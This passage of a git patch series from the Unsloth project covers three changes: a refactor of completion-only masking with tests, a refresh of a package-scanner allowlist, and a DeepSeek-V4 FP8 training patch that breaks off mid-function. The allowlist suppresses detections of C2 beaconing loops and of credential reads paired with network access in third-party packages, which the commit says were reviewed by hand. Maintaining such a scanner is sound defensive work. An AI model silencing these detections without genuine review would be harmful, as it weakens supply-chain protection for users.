-                        logger.info("Skipping post-filter length check for streaming dataset\n")
-                    else:
-                        filtered_len = len(self.trainer.train_dataset)
-                        original_dataset_obj = (
-                            dataset["dataset"] if isinstance(dataset, dict) else dataset
-                        )
-                        original_len = len(original_dataset_obj)
-                        dropped = original_len - filtered_len
-                        drop_pct = round(100 * dropped / original_len, 1) if original_len > 0 else 0
-
-                        if filtered_len == 0 or drop_pct > 30:
-                            max_seq = training_args.get("max_seq_length", 2048)
-                            error_msg = (
-                                f"{dropped}/{original_len} samples ({drop_pct}%) were "
-                                f"dropped after applying 'Train on completions': after "
-                                f"masking, those rows had no trainable response tokens "
-                                f"left. The usual cause is that this model's response "
-                                f"template was not found in the formatted samples, so "
-                                f"every token was masked out. That typically means the "
-                                f"dataset is already formatted, or its structure does "
-                                f"not match the model's chat template, so 'Train on "
-                                f"completions' should be turned off for this dataset. "
-                                f"Less commonly, a max_seq_length ({max_seq}) shorter "
-                                f"than the prompt can truncate the response away; only "
-                                f"raise it if your samples are actually longer than that."
+                            original_len = len(original_dataset_obj)
+                            dropped = original_len - filtered_len
+                            drop_pct = (
+                                round(100 * dropped / original_len, 1) if original_len > 0 else 0
                             )
-                            logger.error(error_msg)
-                            self._update_progress(error = error_msg, is_training = False)
-                            return
 
-                        if dropped > 0:
-                            logger.info(
-                                f"⚠️ {dropped}/{original_len} samples "
-                                f"({drop_pct}%) were dropped (all labels "
-                                f"masked). {filtered_len} samples remain.\n"
-                            )
-                        logger.info(f"Post-filter dataset size: {filtered_len} samples\n")
+                            if filtered_len == 0 or drop_pct > 30:
+                                max_seq = training_args.get("max_seq_length", 2048)
+                                error_msg = (
+                                    f"{dropped}/{original_len} samples ({drop_pct}%) were "
+                                    f"dropped after applying 'Train on completions': after "
+                                    f"masking, those rows had no trainable response tokens "
+                                    f"left. The usual cause is that this model's response "
+                                    f"template was not found in the formatted samples, so "
+                                    f"every token was masked out. That typically means the "
+                                    f"dataset is already formatted, or its structure does "
+                                    f"not match the model's chat template, so 'Train on "
+                                    f"completions' should be turned off for this dataset. "
+                                    f"Less commonly, a max_seq_length ({max_seq}) shorter "
+                                    f"than the prompt can truncate the response away; only "
+                                    f"raise it if your samples are actually longer than that."
+                                )
+                                logger.error(error_msg)
+                                self._update_progress(error = error_msg, is_training = False)
+                                return
 
-                except Exception as e:
-                    logger.warning(f"Failed to apply train on responses only: {e}")
-                    train_on_responses_enabled = False
+                            if dropped > 0:
+                                logger.info(
+                                    f"⚠️ {dropped}/{original_len} samples "
+                                    f"({drop_pct}%) were dropped (all labels "
+                                    f"masked). {filtered_len} samples remain.\n"
+                                )
+                            logger.info(f"Post-filter dataset size: {filtered_len} samples\n")
+
+                    except Exception as e:
+                        logger.warning(f"Post-masking dataset size check failed: {e}")
             else:
                 if train_on_responses_enabled and is_deepseek_ocr:
                     logger.info("Train on responses handled by DeepSeek OCR collator\n")
diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py
index 0ff4d517ed..5fb8fc2bb6 100644
--- a/studio/backend/core/training/worker.py
+++ b/studio/backend/core/training/worker.py
@@ -1731,6 +1731,7 @@ def _run_mlx_training(event_queue, stop_queue, config):
     # sharegpt+images) and text (alpaca/sharegpt/chatml → "text" column).
     format_type = config.get("format_type", "")
     custom_format_mapping = config.get("custom_format_mapping")
+    dataset_final_format = ""
     try:
         from utils.datasets import format_and_template_dataset
         def _fmt_progress(status_message = "", **_kw):
@@ -1796,6 +1797,7 @@ def _run_mlx_training(event_queue, stop_queue, config):
             )
             if info.get("success", True):
                 dataset = info.get("dataset", dataset)
+            dataset_final_format = str(info.get("final_format", "") or "").lower()
             if eval_dataset is not None:
                 ev = format_and_template_dataset(
                     eval_dataset,
@@ -1894,6 +1896,9 @@ def _run_mlx_training(event_queue, stop_queue, config):
         eval_steps = eval_steps_val,
     )
 
+    # Also gates the masking skip below, so defined outside the feature-detect block.
+    raw_text_mode = training_type == "Continued Pretraining" or format_type == "raw"
+
     # Feature-detect optional fields so this PR works without the paired zoo bump.
     _supported_fields = getattr(MLXTrainingConfig, "__dataclass_fields__", {})
     if "cast_norm_output_to_input_dtype" in _supported_fields:
@@ -1907,7 +1912,6 @@ def _run_mlx_training(event_queue, stop_queue, config):
     if "max_grad_leaf_norm" in _supported_fields:
         mlx_config_kwargs["max_grad_leaf_norm"] = max_grad_leaf_norm
     if "append_eos" in _supported_fields:
-        raw_text_mode = training_type == "Continued Pretraining" or format_type == "raw"
         # Studio SFT formatting owns rendered examples; raw/CPT text still
         # needs MLX to append EOS like the CUDA raw-text path.
         mlx_config_kwargs["append_eos"] = bool(raw_text_mode)
@@ -1928,29 +1932,27 @@ def _run_mlx_training(event_queue, stop_queue, config):
         _send("eval_configured")
 
     # ── 7. Apply train_on_responses_only if requested ──
-    if config.get("train_on_completions", False):
+    # Auto-detect markers from the chat template first, manual table as
+    # fallback. Mirror the CUDA skips: raw/CPT text has no chat turns and
+    # Alpaca-rendered text lacks the chat markers. Also check the resolved
+    # format, since format_type="auto" can land on alpaca or raw text.
+    if (
+        config.get("train_on_completions", False)
+        and not raw_text_mode
+        and format_type != "alpaca"
+        and dataset_final_format not in ("alpaca", "raw_text")
+    ):
         _send("status", status_message = "Configuring response-only training...")
-        try:
-            from utils.datasets import (
-                MODEL_TO_TEMPLATE_MAPPER,
-                TEMPLATE_TO_RESPONSES_MAPPER,
-            )
-
-            template_name = MODEL_TO_TEMPLATE_MAPPER.get(model_name.lower())
-            markers = TEMPLATE_TO_RESPONSES_MAPPER.get(template_name) if template_name else None
-            if markers:
-                trainer = train_on_responses_only(
-                    trainer,
-                    instruction_part = markers["instruction"],
-                    response_part = markers["response"],
-                )
-            else:
-                _send(
-                    "status",
-                    status_message = f"train_on_completions skipped (no template for {model_name})",
-                )
-        except Exception as e:
-            _send("status", status_message = f"train_on_completions failed: {e}")
+        # No catch: the helper handles detection failures and double misses, so
+        # an exception here is a real masking failure that must fail the run,
+        # not silently train on full sequences.
+        from utils.datasets.completion_masking import apply_completion_masking
+        trainer, _masking_applied = apply_completion_masking(
+            trainer,
+            model_name,
+            train_on_responses_only,
+            notify = lambda level, message: _send("status", status_message = message),
+        )
 
     # ── 8. Setup wandb / tensorboard ──
     wandb_run = None
diff --git a/studio/backend/tests/test_completion_masking.py b/studio/backend/tests/test_completion_masking.py
new file mode 100644
index 0000000000..be0d8a69bd
--- /dev/null
+++ b/studio/backend/tests/test_completion_masking.py
@@ -0,0 +1,314 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Completion-only masking policy: auto-detect first, manual table fallback.
+
+Covers utils.datasets.completion_masking.apply_completion_masking, shared by
+the CUDA trainer (core/training/trainer.py) and the MLX worker
+(core/training/worker.py):
+  - unmapped models use chat template auto-detection (previously masking was
+    silently disabled),
+  - gpt-oss goes auto-first too (its quantized checkpoints ship a template
+    the manual markers cannot match),
+  - an auto-detection failure falls back to the template table markers,
+  - a table miss after an auto failure warns and leaves the trainer unchanged.
+"""
+
+from __future__ import annotations
+
+import pytest
+
+from utils.datasets.completion_masking import apply_completion_masking, lookup_manual_markers
+from utils.datasets.model_mappings import TEMPLATE_TO_RESPONSES_MAPPER
+
+
+class _Trainer:
+    """Sentinel trainer; train_fn wraps it in a new object when applied."""
+
+
+class _Recorder:
+    """Fake train_on_responses_only that records calls."""
+
+    def __init__(self):
+        self.calls = []
+
+    def __call__(self, trainer, **kwargs):
+        self.calls.append(kwargs)
+        wrapped = _Trainer()
+        wrapped.wrapped_from = trainer
+        return wrapped
+
+
+def _detect_ok(processor):
+    return "<INS>", "<RES>"
+
+
+def _detect_fail(processor):
+    raise ValueError(
+        "Unsloth: Could not reliably auto-detect response_part - "
+        "pass instruction_part and response_part."
+    )
+
+
+_AUTO = {"instruction_part": "<INS>", "response_part": "<RES>"}
+
+
+class _Notes:
+    def __init__(self):
+        self.messages = []
+
+    def __call__(self, level, message):
+        self.messages.append((level, message))
+
+    def warnings(self):
+        return [m for level, m in self.messages if level == "warning"]
+
+
+def test_unmapped_model_uses_auto_detection():
+    # Unmapped model: the auto path applies masking (was silently disabled).
+    trainer = _Trainer()
+    train_fn = _Recorder()
+    notes = _Notes()
+
+    result, applied = apply_completion_masking(
+        trainer, "LiquidAI/LFM2-8B-A1B", train_fn, notify = notes, detect_fn = _detect_ok
+    )
+
+    assert applied is True
+    assert result.wrapped_from is trainer
+    assert train_fn.calls == [dict(_AUTO)]  # applied with the detected markers
+    assert notes.warnings() == []
+
+
+def test_mapped_model_prefers_auto_detection():
+    trainer = _Trainer()
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "unsloth/Qwen3-0.6B", train_fn, detect_fn = _detect_ok
+    )
+
+    assert applied is True
+    assert train_fn.calls == [dict(_AUTO)]
+
+
+def test_gpt_oss_uses_auto_detection_first():
+    # The quantized gpt-oss checkpoints ship a template without the
+    # <|channel|>final header, where the manual markers match nothing; auto
+    # derives markers from the template the checkpoint actually ships.
+    trainer = _Trainer()
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "unsloth/gpt-oss-20b", train_fn, detect_fn = _detect_ok
+    )
+
+    assert applied is True
+    assert train_fn.calls == [dict(_AUTO)]
+
+
+def test_gpt_oss_detection_failure_falls_back_to_manual_markers():
+    trainer = _Trainer()
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "unsloth/gpt-oss-20b", train_fn, detect_fn = _detect_fail
+    )
+
+    assert applied is True
+    expected = TEMPLATE_TO_RESPONSES_MAPPER["gpt-oss"]
+    assert train_fn.calls == [
+        {
+            "instruction_part": expected["instruction"],
+            "response_part": expected["response"],
+        }
+    ]
+
+
+def test_auto_failure_falls_back_to_template_table():
+    trainer = _Trainer()
+    train_fn = _Recorder()
+    notes = _Notes()
+
+    result, applied = apply_completion_masking(
+        trainer, "unsloth/Qwen3-0.6B", train_fn, notify = notes, detect_fn = _detect_fail
+    )
+
+    assert applied is True
+    assert result.wrapped_from is trainer
+    expected = TEMPLATE_TO_RESPONSES_MAPPER["qwen3"]
+    assert train_fn.calls == [
+        {
+            "instruction_part": expected["instruction"],
+            "response_part": expected["response"],
+        },
+    ]
+    assert any("falling back to the template table" in m for m in notes.warnings())
+
+
+def test_application_failure_propagates_not_fallback():
+    # Detection succeeds; a failure while APPLYING the masking must propagate,
+    # never silently fall back to full-sequence training.
+    def train_fn(trainer, **kwargs):
+        raise RuntimeError("dataset map worker crashed")
+
+    with pytest.raises(RuntimeError, match = "dataset map worker crashed"):
+        apply_completion_masking(_Trainer(), "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = _detect_ok)
+
+
+def test_preset_tokenizer_markers_used_directly():
+    # Preset unsloth marker attrs skip detection; zoo reuses them on a bare call.
+    class _Tok:
+        _unsloth_input_part = "<I>"
+        _unsloth_output_part = "<O>"
+
+    trainer = _Trainer()
+    trainer.processing_class = _Tok()
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = _detect_fail
+    )
+    assert applied is True
+    assert train_fn.calls == [{}]  # bare call, stored parts
+
+
+def test_table_miss_warns_and_disables_without_crashing():
+    trainer = _Trainer()
+    train_fn = _Recorder()
+    notes = _Notes()
+
+    result, applied = apply_completion_masking(
+        trainer, "some-org/not-in-any-mapper", train_fn, notify = notes, detect_fn = _detect_fail
+    )
+
+    assert applied is False
+    assert result is trainer  # unchanged: full sequence training
+    assert train_fn.calls == []  # detection failed; nothing applied
+    assert any("could not be applied" in m for m in notes.warnings())
+    assert any("full sequences" in m for m in notes.warnings())
+
+
+def test_num_proc_forwarded_only_when_given():
+    # CUDA path passes num_proc; the MLX path omits it.
+    train_fn = _Recorder()
+    apply_completion_masking(
+        _Trainer(), "unsloth/Qwen3-0.6B", train_fn, num_proc = 4, detect_fn = _detect_ok
+    )
+    assert train_fn.calls == [dict(_AUTO, num_proc = 4)]
+
+    train_fn = _Recorder()
+    apply_completion_masking(
+        _Trainer(), "unsloth/Qwen3-0.6B", train_fn, num_proc = 4, detect_fn = _detect_fail
+    )
+    assert train_fn.calls[0]["num_proc"] == 4
+
+    train_fn = _Recorder()
+    apply_completion_masking(_Trainer(), "unsloth/Qwen3-0.6B", train_fn, detect_fn = _detect_ok)
+    assert train_fn.calls == [dict(_AUTO)]
+
+
+def test_manual_fallback_failure_propagates_to_caller():
+    # Errors while applying the manual fallback must propagate to the caller.
+    def train_fn(trainer, **kwargs):
+        raise RuntimeError("boom")
+
+    with pytest.raises(RuntimeError, match = "boom"):
+        apply_completion_masking(_Trainer(), "unsloth/gpt-oss-20b", train_fn)
+
+
+def test_notify_is_optional():
+    train_fn = _Recorder()
+    _, applied = apply_completion_masking(
+        _Trainer(), "some-org/not-in-any-mapper", train_fn, detect_fn = _detect_fail
+    )
+    assert applied is False
+
+
+def test_lookup_manual_markers():
+    template, instruction, response = lookup_manual_markers("unsloth/Qwen3-0.6B")
+    assert template == "qwen3"
+    assert instruction == TEMPLATE_TO_RESPONSES_MAPPER["qwen3"]["instruction"]
+    assert response == TEMPLATE_TO_RESPONSES_MAPPER["qwen3"]["response"]
+
+    template, instruction, response = lookup_manual_markers("some-org/unknown")
+    assert (template, instruction, response) == (None, None, None)
+
+    template, instruction, response = lookup_manual_markers(None)
+    assert (template, instruction, response) == (None, None, None)
+
+
+def test_renamed_gpt_oss_gets_template_markers():
+    # Name-detected as gpt-oss but not in the exact-name table: must use the
+    # gpt-oss markers, not fall through to full-sequence training.
+    trainer = _Trainer()
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "some-org/gpt-oss-20b-sft", train_fn, detect_fn = _detect_fail
+    )
+    assert applied is True
+    expected = TEMPLATE_TO_RESPONSES_MAPPER["gpt-oss"]
+    assert train_fn.calls == [
+        {
+            "instruction_part": expected["instruction"],
+            "response_part": expected["response"],
+        }
+    ]
+
+
+class _FakeTokenizerWrapper:
+    """mlx-lm TokenizerWrapper semantics: plain reads delegate to the wrapped
+    tokenizer, underscore attrs do not (so preset markers are hidden)."""
+
+    def __init__(self, tokenizer):
+        object.__setattr__(self, "_tokenizer", tokenizer)
+
+    def __getattr__(self, attr):
+        if attr.startswith("_"):
+            return object.__getattribute__(self, attr)
+        return getattr(object.__getattribute__(self, "_tokenizer"), attr)
+
+
+_FakeTokenizerWrapper.__name__ = "TokenizerWrapper"
+
+
+def test_mlx_tokenizer_wrapper_unwrapped_for_preset_markers():
+    # Markers live on the inner HF tokenizer that the wrapper hides; the helper
+    # must unwrap so the preset bare-call path still fires on MLX.
+    class _Tok:
+        _unsloth_input_part = "<I>"
+        _unsloth_output_part = "<O>"
+
+    trainer = _Trainer()
+    trainer.tokenizer = _FakeTokenizerWrapper(_Tok())
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = _detect_fail
+    )
+    assert applied is True
+    assert train_fn.calls == [{}]  # bare call, stored parts
+
+
+def test_mlx_tokenizer_wrapper_unwrapped_for_detection():
+    # Detection must see the real tokenizer, not the wrapper, so it does not
+    # depend on the loader's __call__ patch.
+    class _Tok:
+        pass
+
+    inner = _Tok()
+    trainer = _Trainer()
+    trainer.tokenizer = _FakeTokenizerWrapper(inner)
+    train_fn = _Recorder()
+    seen = []
+
+    def detect(processor):
+        seen.append(processor)
+        return "<INS>", "<RES>"
+
+    _, applied = apply_completion_masking(
+        trainer, "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = detect
+    )
+    assert applied is True
+    assert seen == [inner]
diff --git a/studio/backend/utils/datasets/completion_masking.py b/studio/backend/utils/datasets/completion_masking.py
new file mode 100644
index 0000000000..c7c4a474e3
--- /dev/null
+++ b/studio/backend/utils/datasets/completion_masking.py
@@ -0,0 +1,144 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Completion-only masking policy shared by the CUDA and MLX training paths.
+
+Decides how train_on_responses_only is applied for a model: chat template
+auto-detection first, manual TEMPLATE_TO_RESPONSES_MAPPER markers as the
+fallback. gpt-oss included: its quantized checkpoints ship a different
+chat template, so only detection from the actual template is reliable.
+"""
+
+from .model_mappings import (
+    MODEL_TO_TEMPLATE_MAPPER,
+    TEMPLATE_TO_RESPONSES_MAPPER,
+    is_gpt_oss_model_name,
+)
+
+
+def lookup_manual_markers(model_name):
+    """Return (template_name, instruction_part, response_part) from the
+    manual template table, with None parts when the model or template is
+    not mapped."""
+    template = MODEL_TO_TEMPLATE_MAPPER.get((model_name or "").lower())
+    markers = TEMPLATE_TO_RESPONSES_MAPPER.get(template) if template else None
+    if markers:
+        return template, markers["instruction"], markers["response"]
+    return template, None, None
+
+
+def apply_completion_masking(
+    trainer,
+    model_name,
+    train_fn,
+    num_proc = None,
+    notify = None,
+    detect_fn = None,
+):
+    """Apply completion-only masking with auto-detection first and the manual
+    template table as fallback.
+
+    Args:
+        trainer: The platform trainer (SFTTrainer or MLXTrainer).
+        model_name: Model repo id used for table lookup and the gpt-oss
+            renamed-checkpoint fallback.
+        train_fn: The platform train_on_responses_only callable.
+        num_proc: Forwarded to train_fn when not None (CUDA path only).
+        notify: Optional callback notify(level, message) with level "info" or
+            "warning" for user-visible progress and warnings.
+        detect_fn: Marker detector (tokenizer/processor) -> (instruction_part,
+            response_part). Defaults to unsloth_zoo's get_chat_template_parts,
+            which raises loudly when the template cannot be parsed. Test seam.
+
+    Returns:
+        (trainer, applied): the possibly wrapped trainer and whether masking
+        was applied. When applied is False the trainer is unchanged and
+        training runs on full sequences.
+
+    Only marker DETECTION failures trigger the table fallback. Exceptions
+    raised while applying the masking (dataset map, tokenization) propagate
+    to the caller in both the auto and manual paths, so a real failure stops
+    the run instead of silently changing the training objective.
+    """
+    if notify is None:
+        notify = lambda level, message: None
+    kwargs = {}
+    if num_proc is not None:
+        kwargs["num_proc"] = num_proc
+
+    template, instruction_part, response_part = lookup_manual_markers(model_name)
+
+    # gpt-oss goes auto-first: quantized/BF16 checkpoints ship a channel-less
+    # template, so the manual markers match nothing (zero tokens trained). Auto
+    # derives markers from whichever template ships, and per the harmony format
+    # only the final terminator carries stop supervision. Renamed checkpoints
+    # miss the exact-name table, so give the fallback the gpt-oss markers.
+    if is_gpt_oss_model_name(model_name) and not (instruction_part and response_part):
+        markers = TEMPLATE_TO_RESPONSES_MAPPER.get("gpt-oss")
+        if markers:
+            template = "gpt-oss"
+            instruction_part = markers["instruction"]
+            response_part = markers["response"]
+    processor = getattr(trainer, "processing_class", None) or getattr(trainer, "tokenizer", None)
+    # mlx-lm TokenizerWrapper hides underscore attrs, so preset _unsloth_*
+    # markers are invisible through it. Unwrap to the real tokenizer (as
+    # zoo's MLX resolver does) before the preset check and detection.
+    if type(processor).__name__ == "TokenizerWrapper":
+        wrapped = getattr(processor, "_tokenizer", None)
+        if wrapped is not None:
+            processor = wrapped
+    inner = getattr(processor, "tokenizer", processor)
+    if hasattr(inner, "_unsloth_input_part") and hasattr(inner, "_unsloth_output_part"):
+        # Markers preset on the tokenizer; zoo reuses them on a bare call.
+        trainer = train_fn(trainer, **kwargs)
+        notify(
+            "info",
+            "Train on responses only configured via tokenizer preset markers",
+        )
+        return trainer, True
+    auto_instruction = auto_response = None
+    try:
+        if detect_fn is None:
+            # Torch-backed import is fine: the MLX train_fn itself requires
+            # unsloth_zoo.dataset_utils, so a torch-free host cannot mask either way.
+            from unsloth_zoo.dataset_utils import get_chat_template_parts as detect_fn
+        auto_instruction, auto_response = detect_fn(processor)
+    except Exception as e:
+        notify(
+            "warning",
+            f"Auto-detection of instruction/response markers failed ({e}); "
+            f"falling back to the template table",
+        )
+    if auto_instruction and auto_response:
+        trainer = train_fn(
+            trainer,
+            instruction_part = auto_instruction,
+            response_part = auto_response,
+            **kwargs,
+        )
+        notify(
+            "info",
+            "Train on responses only configured via chat template auto-detection",
+        )
+        return trainer, True
+
+    if instruction_part and response_part:
+        trainer = train_fn(
+            trainer,
+            instruction_part = instruction_part,
+            response_part = response_part,
+            **kwargs,
+        )
+        notify(
+            "info",
+            f"Train on responses only configured with template table markers ({template})",
+        )
+        return trainer, True
+
+    notify(
+        "warning",
+        f"'Train on completions' could not be applied for {model_name}: no "
+        f"auto-detected or mapped instruction/response markers. Training "
+        f"will run on full sequences (prompts included).",
+    )
+    return trainer, False

From 9fa6fd40e1a227a6c77b7e64d33dcfe3d5f617cd Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Sat, 11 Jul 2026 08:15:43 -0700
Subject: [PATCH 304/306] scripts: refresh scan_packages allowlist baseline
 (#7078)

New releases of huggingface-hub (1.23.0) and openai (2.45.0) shifted or
added polling loops that the C2 polling/beaconing check flags, failing
all three pip scan-packages shards (studio 1, hf-stack 1, extras 3 new
CRITICAL findings) org-wide including on main.

Regenerated with scan_packages.py --write-baseline per CI shard (same
shard-to-requirements mapping and --with-deps as security-audit.yml)
and merged. All entries were manually reviewed at the resolved versions:

- huggingface-hub hf_api.py: create_repo 409-concurrency retry loop
  body changed in 1.23.0; refreshed evidence hash. The loop POSTs to
  the canonical Hub endpoint and retries only on a specific conflict
  error. Benign client retry.
- openai beta/threads/runs/runs.py: create_and_poll run-status helper
  refactored in 2.45.0 (Assistants deprecation annotations); refreshed
  evidence hash. Documented polling helper against api.openai.com.
- openai beta/responses/responses.py: new beta websocket client whose
  __aiter__ yields server events until the connection closes. New
  entry; standard event-stream iterator, not beaconing.
- openai resources/responses/responses.py: evidence line number
  refreshed only, hash unchanged.

The two dropped entries are the pre-refactor hashes of the same two
loops above; they no longer occur at the resolved versions. Verified
locally: all three shards exit 0 with 0 unsuppressed CRITICAL/HIGH
(hf-stack 120, studio 151, extras 99 suppressed).
---
 scripts/scan_packages_baseline.json | 18 +++++++++++++-----
 1 file changed, 13 insertions(+), 5 deletions(-)

diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json
index 3582517d31..27fa801a2a 100644
--- a/scripts/scan_packages_baseline.json
+++ b/scripts/scan_packages_baseline.json
@@ -159,8 +159,8 @@
       "file": "huggingface_hub/hf_api.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L4613:         while True: sha256:f764b6ca3118b23c7c0e670e77178c022a6905f825d7df6e528545fa10aae8f6",
-      "evidence_hash": "9c85d50c227285fa8dc69512999cbb082258cda4b299c7d0e0f69f5aff7accd4"
+      "evidence": "L4677:         while True: sha256:04afb38843e4125d1476f3f04bdad0edf1f63f8d75ad49a713b13e4bc68612fb",
+      "evidence_hash": "18877a2502c862b46a5d7e33fa7c39ab4ef32da7e1b07f596fd455f4376770c6"
     },
     {
       "package": "huggingface-hub",
@@ -338,13 +338,21 @@
       "evidence": "Env: L105:     token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L150:     environment_token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L415:         http_client: httpx.Client | None = None, | L531:         http_client: httpx.Client | None = None, | L649:         http_client: httpx.AsyncClient | None = None, | L767:         http_client: httpx.AsyncClient | None = None,",
       "evidence_hash": "92dbec8ccd79c1e0bc41e93cdd0bdbb091220616c6a1352873196e9dda6bd85c"
     },
+    {
+      "package": "openai",
+      "file": "openai/resources/beta/responses/responses.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L3999:         while True: sha256:df298b6eaf3416589b79f4ef283f8fb76e54d505bfda8840673f8e6419117e2e",
+      "evidence_hash": "10ce5cb5a7097fcff4042ddcfb4802edda60aa4b7b113c8b926a52ddb76f78c2"
+    },
     {
       "package": "openai",
       "file": "openai/resources/beta/threads/runs/runs.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L1074:         while True: sha256:ef6d59a4a10b73a5af491f10af2885b7a309fda9468eb0f9572d19558d3ceb9f",
-      "evidence_hash": "43c03b55fedcbc980e5e6649c3c4493729128d280cc868349ab9590908ea5f99"
+      "evidence": "L1053:         while True: sha256:973bb1aeca2e17e022872dc343a1bf5d8fe33bfa59fe01e2f8fe875522db5bce",
+      "evidence_hash": "24626e4aa53047a515ead563b42c07c43f73a2c5b82978fa59f58ffc2859e19b"
     },
     {
       "package": "openai",
@@ -359,7 +367,7 @@
       "file": "openai/resources/responses/responses.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L3803:         while True: sha256:1ce0b5a388c747945cdfda1a71b77afdfd03ae840d7aa9fa62f02eb00aa5e29f",
+      "evidence": "L3950:         while True: sha256:1ce0b5a388c747945cdfda1a71b77afdfd03ae840d7aa9fa62f02eb00aa5e29f",
       "evidence_hash": "6de300ebb5e6e17cb51c89cbcdf08515a44655182f0776f0908a9d1043ebbcd7"
     },
     {

From f899834e58a735a7fa7d5341bf944476b32a835e Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Sat, 11 Jul 2026 19:33:05 -0700
Subject: [PATCH 305/306] DeepSeek-V4: eager attention and trainable FP8
 grouped experts (#7042)

* DeepSeek-V4: eager attention and trainable FP8 grouped experts

deepseek_v4 ships a custom attention that is not compatible with the sdpa
and flash paths, so add it to _EAGER_ONLY_PREFIXES to load with eager.

Its fused experts load as FP8GroupedLinear, whose forward calls a grouped
matmul kernel with no autograd formula, so loss.backward() fails during
finetuning. Patch the forward to dequantize the frozen fp8 weight and run a
differentiable grouped matmul while training, keeping the fused fp8 kernel
for inference.

* DeepSeek-V4: exclude sdpa/flash and stream fp8 grouped backward

Add deepseek_v4 to _SDPA_EXCLUDED_MODELS and _FLASH_EXCLUDED_MODELS so an
explicit attn_implementation=sdpa/flash request downgrades to eager instead of
raising (the model has no sdpa/flash kernel), matching the eager-only default.

Replace the FP8GroupedLinear training bmm with a custom autograd Function that
saves only the fp8 weight + scale rather than a full bf16 dequantized copy, so
no dequantized grouped weight is retained per layer, and unwrap tensor-parallel
shards before dequant. Bit-exact forward and grad with the previous path.

* FP8 grouped: consistent checkpointing math and block-size-aware dequant

Gate the differentiable training path on self.training rather than
torch.is_grad_enabled(), so a gradient-checkpointed segment runs the same bmm
math in its no-grad forward and its grad recompute instead of mixing the fused
fp8 kernel with bmm.

Dequantize with the layer's own block_size via _blockwise_weight_dequant_any_shape
so non-128 or rectangular fp8 blocks are scaled correctly instead of assuming
128x128.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 unsloth/kernels/fp8.py   | 68 ++++++++++++++++++++++++++++++++++++++++
 unsloth/models/_utils.py |  8 +++--
 2 files changed, 73 insertions(+), 3 deletions(-)

diff --git a/unsloth/kernels/fp8.py b/unsloth/kernels/fp8.py
index 4efc4bd5d3..7a57f91ce1 100644
--- a/unsloth/kernels/fp8.py
+++ b/unsloth/kernels/fp8.py
@@ -42,6 +42,11 @@ except:
         "Unsloth: FP8 models need importing FP8Linear from `transformers.integrations.finegrained_fp8` but we don't see it."
     )
 
+try:
+    from transformers.integrations.finegrained_fp8 import FP8GroupedLinear
+except:
+    FP8GroupedLinear = None
+
 try:
     from transformers.integrations.fbgemm_fp8 import FbgemmFp8Linear
 except:
@@ -688,3 +693,66 @@ if FbgemmFp8Linear is not None:
     FbgemmFp8Linear.forward = module_forward_patch(fbgemm_fp8_linear, "weight_scale")
 if FP8Linear is not None:
     FP8Linear.forward = module_forward_patch(fp8_block_quant_linear, "weight_scale_inv")
+
+# FP8GroupedLinear's fused grouped matmul has no autograd formula, so training
+# backward fails. In training, use a custom autograd Function: dequant the frozen
+# fp8 weight for a differentiable bmm, saving only the fp8 weight + scale and
+# unwrapping TP shards; eval keeps the fused kernel. Gate on self.training (not
+# is_grad_enabled) so the grad-checkpoint no-grad forward and its recompute match.
+if FP8GroupedLinear is not None:
+    _fp8_grouped_forward_orig = FP8GroupedLinear.forward
+
+    def _fp8_to_local(t):
+        dt = getattr(getattr(torch, "distributed", None), "tensor", None)
+        DTensor = getattr(dt, "DTensor", None) if dt is not None else None
+        return t.to_local() if DTensor is not None and isinstance(t, DTensor) else t
+
+    def _fp8_grouped_dequant(weight, scale_inv, block_size, dtype):
+        # Honor the layer's block size; weight_dequant would assume 128 and mis-scale.
+        if block_size is not None and len(block_size) == 2:
+            return _blockwise_weight_dequant_any_shape(weight, scale_inv.float(), block_size, dtype)
+        return weight_dequant(weight, scale_inv.float()).to(dtype)
+
+    class _FP8GroupedMM(torch.autograd.Function):
+        @staticmethod
+        def forward(ctx, x, weight, scale_inv, n_groups, block_size, bias):
+            weight, scale_inv = _fp8_to_local(weight), _fp8_to_local(scale_inv)
+            hidden = x.shape[-1]
+            W = _fp8_grouped_dequant(weight, scale_inv, block_size, x.dtype)
+            out_per = W.shape[0] // n_groups
+            xg = x.reshape(-1, n_groups, hidden).transpose(0, 1)
+            y = torch.bmm(xg, W.view(n_groups, out_per, hidden).transpose(1, 2))
+            y = y.transpose(0, 1).reshape(*x.shape[:-2], n_groups, out_per)
+            if bias is not None:
+                y = y + bias.view(n_groups, out_per)
+            ctx.save_for_backward(weight, scale_inv)
+            ctx.n_groups, ctx.out_per, ctx.x_shape = n_groups, out_per, x.shape
+            ctx.dtype, ctx.has_bias, ctx.block_size = x.dtype, bias is not None, block_size
+            return y
+
+        @staticmethod
+        def backward(ctx, grad_y):
+            weight, scale_inv = ctx.saved_tensors
